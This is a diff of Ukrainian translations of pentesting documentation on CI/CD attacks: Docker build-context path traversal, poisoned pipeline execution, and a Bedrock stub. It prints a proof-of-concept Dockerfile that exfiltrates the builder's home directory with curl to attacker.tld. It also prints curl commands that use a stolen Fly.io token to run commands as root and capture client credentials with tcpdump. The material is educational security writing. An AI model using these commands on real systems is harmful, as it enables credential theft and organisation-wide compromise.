Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -4,22 +4,22 @@
 
 ## TL;DR
 
-Якщо платформа CI/CD або hosted builder дозволяє контриб’юторам вказувати шлях Docker build context та шлях до Dockerfile, часто можна встановити context на батьківський каталог (наприклад, "..") і зробити файли хоста частиною build context. Потім Dockerfile під контролем атакача може за допомогою COPY exfiltrate секрети, знайдені в домашній теці користувача билдера (наприклад, ~/.docker/config.json). Вкрадені registry tokens можуть також працювати проти провайдера control-plane APIs, що дозволяє org-wide RCE.
+Якщо платформа CI/CD або hosted builder дозволяє контриб’юторам вказувати шлях Docker build context та шлях до Dockerfile, часто можна встановити context на батьківський каталог (наприклад, "..") і зробити файли хоста частиною build context. Тоді Dockerfile, контрольований нападником, може використовувати COPY та exfiltrate секрети, знайдені в домашньому каталозі користувача билдера (наприклад, ~/.docker/config.json). Вкрадені registry tokens також можуть працювати проти control-plane APIs провайдера, дозволяючи org-wide RCE.
 
-## Поверхня атаки
+## Attack surface
 
-Багато hosted builder/registry сервісів роблять приблизно так під час збірки images, надісланих користувачем:
-- Читають repo-level конфіг, який містить:
-  - build context path (відправляється в Docker daemon)
-  - Dockerfile path відносно цього context
-- Copy зазначену директорію build context і Dockerfile в Docker daemon
-- Build image і запустити його як hosted service
+Багато hosted builder/registry сервісів роблять приблизно таке під час збірки образів, наданих користувачами:
+- Читають конфіг репозиторію, який містить:
+- build context path (відправляється до Docker daemon)
+- Dockerfile path відносно цього context
+- Копіюють вказаний каталог build context і Dockerfile до Docker daemon
+- Збирають образ і запускають його як hosted service
 
-Якщо платформа не канонізує й не обмежує build context, користувач може встановити його в локацію поза репозиторієм (path traversal), через що довільні файли хоста, доступні для читання build user‑у, стають частиною build context і доступні для COPY у Dockerfile.
+Якщо платформа не канонізує і не обмежує build context, користувач може встановити його в локацію за межами репозиторію (path traversal), через що будь-які файли хоста, доступні для читання користувачу билдера, стануть частиною build context і доступні для COPY у Dockerfile.
 
-Практичні обмеження, які часто спостерігаються:
-- Dockerfile повинен знаходитися в обраному шляху context і його шлях має бути відомий наперед.
-- Build user повинен мати права на читання файлів, включених у context; спеціальні device файли можуть зламати copy.
+Практичні обмеження, що часто спостерігаються:
+- Dockerfile повинен знаходитися в межах обраного context path і його шлях має бути відомий заздалегідь.
+- У білдер-користувача повинен бути доступ на читання до файлів, включених у context; спеціальні device файли можуть порушити копіювання.
 
 ## PoC: Path traversal via Docker build context
 
@@ -41,10 +41,10 @@ exampleConfig:
 apiKey: "sk-example123"
 ```
 Примітки:
-- Використання ".." часто вказує на домашню директорію користувача builder (e.g., /home/builder), яка зазвичай містить чутливі файли.
-- Розмістіть ваш Dockerfile під іменем директорії repo (e.g., repo "test" → test/Dockerfile), щоб він залишався в розширеному батьківському контексті.
+- Використання ".." часто вказує на домашню директорію користувача builder (наприклад, /home/builder), яка зазвичай містить чутливі файли.
+- Помістіть ваш Dockerfile у директорію з іменем repo (наприклад, repo "test" → test/Dockerfile), щоб він залишався в межах розгорнутого батьківського контексту.
 
-## PoC: Dockerfile для ingest та exfiltrate контексту хоста
+## PoC: Dockerfile для збирання та ексфільтрації контексту хоста
 ```dockerfile
 FROM alpine
 RUN apk add --no-cache curl
@@ -52,34 +52,34 @@ RUN mkdir /data
 COPY . /data                      # Copies entire build context (now builder’s $HOME)
 RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
 ```
-Targets commonly recovered from $HOME:
-- ~/.docker/config.json (registry auths/tokens)
-- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+Цілі, які зазвичай відновлюються з $HOME:
+- ~/.docker/config.json (облікові дані/токени реєстру)
+- Інші кеші та конфігурації cloud/CLI (наприклад, ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
 
-Tip: Even with a .dockerignore in the repository, the vulnerable platform-side context selection still governs what gets sent to the daemon. If the platform copies the chosen path to the daemon before evaluating your repo’s .dockerignore, host files may still be exposed.
+Порада: Навіть якщо в репозиторії є .dockerignore, вразливий механізм вибору контексту на стороні платформи все одно визначає, що надсилається демону. Якщо платформа копіює обраний шлях до демона перед оцінкою repo’s .dockerignore, файли хоста все ще можуть бути скомпрометовані.
 
 ## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
 
 Деякі платформи видають один bearer token, який можна використовувати як для container registry, так і для control-plane API. Якщо ви exfiltrate registry token, спробуйте застосувати його до provider API.
 
-Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
+Приклади викликів API до Fly.io Machines API з використанням вкраденого токена з ~/.docker/config.json:
 
-Перелічити додатки в організації:
+Перерахувати додатки в організації:
 ```bash
 curl -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps?org_slug=smithery"
 ```
-Запустити команду як root всередині будь-якої машини додатка:
+Запустити команду як root у будь-якій машині додатку:
 ```bash
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
 ```
-Результат: на рівні всієї організації remote code execution у всіх розміщених додатках, якщо токен має достатні привілеї.
+Результат: на рівні організації remote code execution у всіх hosted apps, де token має достатні привілеї.
 
-## Крадіжка секретів із скомпрометованих розміщених сервісів
+## Викрадення Secret з скомпрометованих hosted services
 
-За наявності exec/RCE на розміщених серверах ви можете зібрати секрети, надані клієнтом (API keys, tokens), або виконати prompt-injection attacks. Приклад: встановіть tcpdump і перехопіть HTTP traffic на порту 8080, щоб витягти вхідні облікові дані.
+Отримавши exec/RCE на hosted серверах, ви можете збирати client-supplied secrets (API keys, tokens) або ініціювати prompt-injection атаки. Наприклад: встановіть tcpdump і захопіть HTTP-трафік на port 8080, щоб витягти inbound credentials.
 ```bash
 # Install tcpdump inside the machine
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
 ```
-Захоплені запити часто містять облікові дані клієнта в заголовках, у тілі або в параметрах запиту.
+Перехоплені запити часто містять клієнтські облікові дані в заголовках, у тілі або в параметрах запиту.
 
 ## Посилання
 

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -1,4 +1,4 @@
-# Методологія Pentesting CI/CD
+# Pentesting CI/CD Методологія
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,51 +6,51 @@
 
 ## VCS
 
-VCS означає **Version Control System**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найпоширеніша — **git**, і зазвичай ви знайдете компанії, що використовують його на одній із наступних **платформ**:
+VCS означає **система контролю версій (Version Control System)**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найпоширеніша — **git**, і зазвичай ви знайдете компанії, що використовують її на одній з наступних **платформ**:
 
 - Github
 - Gitlab
 - Bitbucket
 - Gitea
 - Gitblit
-- Cloud providers (вони пропонують власні VCS платформи)
+- Cloud providers (they offer their own VCS platforms)
 
 
 ## CI/CD Pipelines
 
-CI/CD pipelines дозволяють розробникам **автоматизувати виконання коду** для різних цілей, включно зі збіркою, тестуванням та деплоєм додатків. Ці автоматизовані робочі процеси **тригеряться специфічними діями**, такими як push-і коду, pull requests або плановані завдання. Вони допомагають оптимізувати процес від розробки до production.
+CI/CD pipelines дають змогу розробникам **автоматизувати виконання коду** для різних цілей — збірки, тестування та деплою додатків. Ці автоматизовані робочі процеси **тригеряться певними діями**, такими як code pushes, pull requests або заплановані завдання. Вони корисні для оптимізації процесу від розробки до продакшн.
 
-Однак такі системи потрібно **дещо виконувати десь**, і зазвичай з **привілейованими обліковими даними для деплою коду або доступу до чутливої інформації**.
+Однак такі системи потрібно **виконувати десь**, зазвичай з **привілейованими обліковими даними** для деплою коду або доступу до чутливої інформації.
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
-> Навіть якщо деякі VCS платформи дозволяють створювати pipelines для цього розділу, ми будемо аналізувати лише потенційні атаки на контроль над вихідним кодом.
+> Навіть якщо деякі VCS платформи дозволяють створювати pipelines, у цьому розділі ми будемо аналізувати лише потенційні атаки на контроль за вихідним кодом.
 
-Платформи, що містять вихідний код вашого проєкту, містять чутливу інформацію, тому потрібно дуже уважно ставитися до дозволів у цій платформі. Ось деякі поширені проблеми у VCS платформах, якими може зловживати атакувальник:
+Платформи, що містять вихідний код вашого проєкту, містять чутливу інформацію, тому потрібно дуже уважно ставитися до дозволів, наданих у цій платформі. Ось деякі поширені проблеми у VCS платформах, якими нападник може зловживати:
 
-- **Leaks**: Якщо ваш код містить leaks у комітах і атакувальник може отримати доступ до репозиторію (бо він public або тому що в нього є доступ), він може виявити ці leaks.
-- **Access**: Якщо атакувальник може **отримати доступ до облікового запису в VCS платформі**, він може отримати **більшу видимість і права**.
-- **Register**: Деякі платформи дозволяють зовнішнім користувачам просто створювати облікові записи.
-- **SSO**: Деякі платформи не дозволяють реєстрацію, але дозволяють входити через дійсний SSO (тому атакувальник, наприклад, може використати свій github обліковий запис для входу).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... існує кілька типів токенів, які користувач може вкрасти, щоб отримати доступ до репо.
-- **Webhooks**: VCS платформи дозволяють генерувати webhooks. Якщо вони **не захищені** невидимими секретами, **атакувальник може зловживати ними**.
-- Якщо секрет відсутній, атакувальник може зловживати webhook-ом третьої сторони.
-- Якщо секрет знаходиться в URL, те ж саме відбувається і атакувальник також має секрет.
-- **Code compromise:** Якщо зловмисник має який-небудь **записувальний доступ** до репозиторіїв, він може спробувати **інжектувати шкідливий код**. Щоб бути успішним, йому може знадобитися **обійти branch protections**. Ці дії можуть виконуватися з різними цілями:
-  - Компроментувати main branch, щоб **компрометувати production**.
-  - Компрометувати main (або інші гілки), щоб **компрометувати машини розробників** (оскільки вони зазвичай виконують тести, terraform або інші речі з репо на своїх машинах).
+- **Leaks**: Якщо ваш код містить leaks у комітах і нападник має доступ до репо (бо воно публічне або він має доступ), він може виявити ці leaks.
+- **Access**: Якщо нападник може **доступитися до акаунту на VCS платформі**, він може отримати **більшу видимість і дозволи**.
+- **Register**: Деякі платформи просто дозволяють зовнішнім користувачам створювати акаунт.
+- **SSO**: Деякі платформи не дозволяють реєстрацію, але дозволяють будь-кому зайти з валідним SSO (наприклад, нападник може використати свій github акаунт, щоб увійти).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... існує кілька типів токенів, які користувач може вкрасти, щоб отримати доступ до репозиторію.
+- **Webhooks**: VCS платформи дозволяють генерувати webhooks. Якщо вони **не захищені** невидимими секретами, **нападник може ними зловживати**.
+- Якщо секрету немає, нападник може зловживати webhook третьої сторони.
+- Якщо секрет знаходиться в URL, відбувається те саме і нападник також отримує секрет.
+- **Code compromise:** Якщо зловмисник має якийсь вид **write** доступу до репозиторіїв, він може спробувати **впровадити шкідливий код**. Щоб це зробити, можливо, доведеться **обійти branch protections**. Ці дії можуть виконуватися з різними цілями:
+  - Скомпрометувати main branch, щоб **скомпрометувати production**.
+  - Скомпрометувати main (або інші гілки), щоб **скомпрометувати машини розробників** (оскільки вони зазвичай виконують тестування, terraform чи інше в репо на своїх машинах).
 - **Compromise the pipeline** (див. наступний розділ)
 
 ## Pipelines Pentesting Methodology
 
-Найпоширеніший спосіб визначити pipeline — через **CI configuration file, який зберігається у репозиторії**, який pipeline збирає. Цей файл описує порядок виконуваних job-ів, умови, що впливають на потік, і налаштування середовища збірки.\
-Такі файли зазвичай мають консистентну назву і формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), і GitHub Actions YAML файли під .github/workflows. Коли pipeline тригериться, job **забирає код** з обраного джерела (наприклад commit / branch) і **виконує команди, вказані в CI configuration file**, над цим кодом.
+Найпоширеніший спосіб визначити pipeline — використовувати **CI configuration file, розміщений у репозиторії**, який будує pipeline. Цей файл описує порядок виконуваних jobs, умови, що впливають на потік, та налаштування середовища збірки.\
+Ці файли зазвичай мають послідовну назву та формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), і YAML-файли GitHub Actions під .github/workflows. Після тригера job pipeline **пулить код** із вибраного джерела (наприклад, commit / branch) і **виконує команди, вказані в CI configuration file**, проти цього коду.
 
-Отже кінцева мета атакувальника — якимось чином **компрометувати ці configuration files** або **команди, які вони виконують**.
+Отже, кінцева мета нападника — якимось чином **скомпрометувати ці конфігураційні файли** або **команди, що вони виконують**.
 
 > [!TIP]
-> Деякі hosted builders дозволяють контрибьюторам обирати Docker build context та Dockerfile path. Якщо context контролюється атакувальником, ви можете вказати його за межами репо (наприклад, ".."), щоб інжестити файли хоста під час збірки і ексфільтрувати secrets. Див.:
+> Деякі hosted builders дозволяють контриб’юторам вибирати Docker build context та Dockerfile path. Якщо контекст контролюється нападником, ви можете вказати його поза репо (наприклад, ".."), щоб інжектити файли хоста під час збірки і витягувати секрети. Див.:
 >
 >{{#ref}}
 >docker-build-context-abuse.md
@@ -58,53 +58,53 @@ CI/CD pipelines дозволяють розробникам **автоматиз
 
 ### PPE - Poisoned Pipeline Execution
 
-Poisoned Pipeline Execution (PPE) шлях експлуатує права в SCM репозиторії, щоб маніпулювати CI pipeline і виконувати шкідливі команди. Користувачі з необхідними дозволами можуть змінювати CI configuration files або інші файли, які використовує job pipeline, щоб включити шкідливі команди. Це "отруює" CI pipeline, призводячи до виконання цих шкідливих команд.
+Poisoned Pipeline Execution (PPE) шлях експлуатує дозволи в SCM репозиторії для маніпуляції CI pipeline та виконання шкідливих команд. Користувачі з необхідними дозволами можуть змінювати CI configuration files або інші файли, які використовуються job-ом pipeline, щоб включити шкідливі команди. Це "отруює" CI pipeline, і в результаті виконуються ці шкідливі команди.
 
-Щоб зловмисник міг успішно виконати PPE атаку, йому потрібно:
+Щоб зловмисник успішно провів PPE атаку, йому потрібно:
 
-- Мати **write access до VCS платформи**, оскільки зазвичай pipelines тригеряться при push або pull request. (Див. VCS pentesting methodology для підсумку способів отримати доступ).
-- Зверніть увагу, що інколи **зовнішній PR рахується як "write access"**.
-- Навіть якщо в нього є права запису, йому потрібно бути впевненим, що він може **змінити CI config file або інші файли, на які опирається конфіг**.
-- Для цього йому може знадобитися **обійти branch protections**.
+- Мати **write access to the VCS platform**, оскільки зазвичай pipelines тригеряться при push або pull request. (Див. VCS pentesting methodology для підсумку способів отримати доступ).
+- Зверніть увагу, що іноді **external PR рахується як "write access"**.
+- Навіть якщо він має write permissions, йому потрібно переконатися, що він може **змінити CI config file або інші файли, від яких залежить конфіг**.
+- Для цього можливо доведеться **обійти branch protections**.
 
-Є 3 варіанти PPE:
+Існує 3 варіанти PPE:
 
-- **D-PPE**: **Direct PPE** відбувається, коли актор **змінює CI config** файл, який буде виконано.
-- **I-DDE**: **Indirect PPE** відбувається, коли актор **змінює** файл, на який **опирається CI config** (наприклад make file або terraform конфіг).
-- **Public PPE or 3PE**: Іноді pipelines можуть бути **тригерені користувачами, які не мають write access в репо** (і які можуть навіть не входити до організації), тому що вони можуть надіслати PR.
-- **3PE Command Injection**: Зазвичай CI/CD pipelines встановлюють environment variables з інформацією про PR. Якщо це значення може контролюватися атакувальником (наприклад заголовок PR) і **використовується** у **небезпечному місці** (наприклад при виконанні sh команд), атакувальник може **інжектувати команди туди**.
+- **D-PPE**: **Direct PPE** відбувається, коли актор **модифікує CI config** файл, який буде виконано.
+- **I-DDE**: **Indirect PPE** відбувається, коли актор **модифікує** файл, на який покладається CI config (наприклад make file або terraform config).
+- **Public PPE or 3PE**: Іноді pipelines можуть бути **тригеровані користувачами, які не мають write access у репо** (і навіть не є частиною org), тому що вони можуть надіслати PR.
+- **3PE Command Injection**: Зазвичай CI/CD pipelines будуть **встановлювати environment variables** з **інформацією про PR**. Якщо цим значенням може керувати нападник (наприклад, title of the PR) і воно **використовується** в **небезпечному місці** (наприклад при виконанні sh commands), нападник може **впровадити туди команди**.
 
 ### Exploitation Benefits
 
-Знаючи 3 варіанти отруєння pipeline, подивимося, що атакувальник може отримати після успішної експлуатації:
+Знаючи 3 варіанти отруєння pipeline, подивимося, що може отримати нападник після успішної експлуатації:
 
-- **Secrets**: Як згадувалося раніше, pipelines потребують **привілеїв** для своїх job-ів (отримати код, збірка, деплой ...) і ці привілеї зазвичай **зберігаються в secrets**. Ці secrets зазвичай доступні через **env variables або файли в системі**. Тому атакувальник завжди намагатиметься ексфільтрувати якомога більше secrets.
-- Залежно від платформи pipeline атакувальник **може бути вимушений вказати secrets у конфігу**. Це означає, що якщо атакувальник не може змінити CI configuration pipeline (**I-PPE** наприклад), він може **експортувати лише ті secrets, які має цей pipeline**.
-- **Computation**: Код виконується десь, і залежно від місця виконання атакувальник може зуміти півертувати далі.
-- **On-Premises**: Якщо pipelines виконуються on-premises, атакувальник може опинитися в **внутрішній мережі з доступом до додаткових ресурсів**.
-- **Cloud**: Атакувальник може отримати доступ до **інших машин у cloud**, а також може **ексфільтрувати** IAM roles/service accounts **tokens** з нього, щоб отримати **дальший доступ усередині cloud**.
-- **Platforms machine**: Іноді jobs виконуються всередині **pipelines platform machines**, які зазвичай знаходяться в cloud і не мають додаткового доступу.
-- **Select it:** Інколи **pipelines platform має кілька машин**, і якщо ви можете **змінити CI configuration file**, ви можете **вказати, де ви хочете запускати шкідливий код**. У цій ситуації атакувальник, швидше за все, запустить reverse shell на кожній можливій машині, щоб спробувати експлуатувати її далі.
-- **Compromise production**: Якщо ви всередині pipeline і фінальна версія збирається і деплоїться з нього, ви можете **компрометувати код, який потім запуститься в production**.
+- **Secrets**: Як було згадано раніше, pipelines потребують **привілеїв** для своїх job-ів (отримати код, зібрати його, задеплоїти...) і ці привілеї зазвичай **зберігаються в secrets**. Ці secrets зазвичай доступні через **env variables або файли всередині системи**. Тому нападник завжди намагатиметься ексфільтрувати якомога більше secrets.
+- Залежно від платформи pipeline нападник **може вимагати вказати secrets у конфігах**. Це означає, що якщо нападник не може змінити CI configuration pipeline (**I-PPE**, наприклад), він **зможе ексфільтрувати тільки ті secrets, які має цей pipeline**.
+- **Computation**: Код виконується десь; залежно від місця виконання нападник може виконати подальший pivot.
+- **On-Premises**: Якщо pipelines виконуються on-premises, нападник може опинитися в **внутрішній мережі з доступом до додаткових ресурсів**.
+- **Cloud**: Нападник може отримати доступ до **інших машин у хмарі**, а також може **ексфільтрувати** IAM roles/service accounts **tokens**, щоб отримати **додатковий доступ у cloud**.
+- **Platforms machine**: Іноді jobs виконуються всередині **машин платформи pipelines**, які зазвичай знаходяться у хмарі й мають **немає додаткових доступів**.
+- **Select it:** Іноді **платформа pipelines конфігурує кілька машин**, і якщо ви можете **змінити CI configuration file**, ви можете **вказати, де запускати шкідливий код**. У такому випадку нападник, ймовірно, запустить зворотний shell на кожній можливій машині, щоб спробувати подальшу експлуатацію.
+- **Compromise production**: Якщо ви всередині pipeline і кінцеву версію збирають і деплоять звідти, ви можете **скампрометувати код, який буде запущено у production**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) — відкритий інструмент для аудиту вашого software supply chain стеку на відповідність безпеці на основі нового [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит фокусується на всьому SDLC процесі, де він може виявити ризики від часу створення коду до моменту деплою.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) — open-source інструмент для аудиту вашого software supply chain стеку на предмет відповідності безпеці, базований на новому [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит фокусується на всьому SDLC процесі, де він може виявити ризики від часу коду до часу деплою.
 
 ### Top 10 CI/CD Security Risk
 
-Перегляньте цікаву статтю про топ-10 ризиків CI/CD згідно з Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Перегляньте цікаву статтю про топ-10 CI/CD ризиків за версією Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- Для кожної платформи, яку ви можете запустити локально, описано, як її підняти, щоб ви могли налаштувати її як завгодно для тестування
+- На кожній платформі, яку ви можете запускати локально, ви знайдете інструкцію, як запустити її локально, щоб ви могли налаштувати її на свій розсуд для тестування
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** — це static code analysis інструмент для infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** — інструмент статичного аналізу коду для infrastructure-as-code.
 
 ## References
 

src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md

@@ -4,9 +4,9 @@
 
 ## Огляд
 
-Amazon Bedrock — це повністю керований сервіс, який спрощує створення та масштабування генеративних AI-застосунків із використанням foundation models (FMs) від провідних AI-стартапів та Amazon. Bedrock надає доступ до різних FMs через єдиний API, що дозволяє розробникам обирати найвідповіднішу модель для конкретних випадків використання без необхідності керувати підлягаючою інфраструктурою.
+Amazon Bedrock — це повністю керована служба, яка полегшує створення та масштабування генеративних застосунків ШІ, використовуючи фундаментальні моделі (FMs) від провідних стартапів у сфері ШІ та Amazon. Bedrock надає доступ до різних FMs через єдиний API, дозволяючи розробникам обирати найпідходящу модель для своїх конкретних сценаріїв використання без необхідності керувати базовою інфраструктурою.
 
-## Post Exploitation
+## Пост-експлуатація
 
 {{#ref}}
 ../aws-post-exploitation/aws-bedrock-post-exploitation/README.md